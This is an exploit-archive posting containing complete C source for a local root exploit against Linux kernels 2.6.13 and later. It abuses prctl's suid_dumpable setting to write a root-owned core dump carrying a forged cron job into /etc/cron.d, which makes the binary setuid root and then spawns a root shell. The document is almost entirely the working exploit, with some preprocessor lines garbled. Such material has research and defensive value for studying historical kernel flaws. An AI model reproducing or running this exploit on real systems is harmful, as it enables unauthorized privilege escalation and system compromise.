Linux >= 2.6.13 prctl kernel exploit

2020.02.13
ca safe (CA) ca
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

* safe * This flaw allows us to create a root owned coredump into any directory. * This is trivially exploitable. * */ include <sys/types.h> include <sys/time.h> include <sys/resource.h> include <sys/prctl.h> include <unistd.h> include <stdio.h> include <errno.h> include <signal.h> include <stdlib.h> include <time.h> define CROND "/etc/cron.d" define BUFSIZE 2048 struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY}; char crontemplate[]= "#/etc/cron.d/core suid_dumpable exploit\n" "SHELL=/bin/sh\n" "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/u sr/sbin:/usr/bin\n" "#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n"; char cronstring[BUFSIZE]; char fname[BUFSIZE]; struct timeval te; void sh(int sn) { execl(fname, fname, (char *) NULL); } int main(int argc, char *argv[]) { int nw, pid; if (geteuid() == 0) { printf("[+] getting root shell\n"); setuid(0); setgid(0); if (execl("/bin/sh", "/bin/sh", (char *) NULL)) { perror("[-] execle"); return 1; } } printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n"); /* get our file name */ if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) { perror("[-] readlink"); printf("This is not fatal, rewrite the exploit\n"); } if (signal(SIGUSR1, sh) == SIG_ERR) { perror("[-] signal"); return 1; } printf("[+] Installed signal handler\n"); /* Let us create core files */ setrlimit(RLIMIT_CORE, &myrlimit); if (chdir(CROND) == -1) { perror("[-] chdir"); return 1; } /* exploit the flaw */ if (prctl(PR_SET_DUMPABLE, 2) == -1) { perror("[-] prtctl"); printf("Is you kernel version >= 2.6.13 ?\ n"); return 1; } printf("[+] We are suidsafe dumpable!\n"); /* Forge the string for our core dump */ nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid()); if (nw >= sizeof(cronstring)) { printf("[-] cronstring is too small\n"); return 1; } printf("[+] Malicious string forged\n"); if ((pid=fork()) == -1) { perror("[-] fork"); return 1; } if (pid == 0) { /* This is not the good way to do it ;) */ sleep(120); exit(0); } /* SEGFAULT the child */ printf("[+] Segfaulting child\n"); if (kill(pid, 11) == -1) { perror("[-] kill"); return 1; } if (gettimeofday(&te, NULL) == 0) printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60)); sleep(120); printf("[-] It looks like the exploit failed\n"); return 1; }


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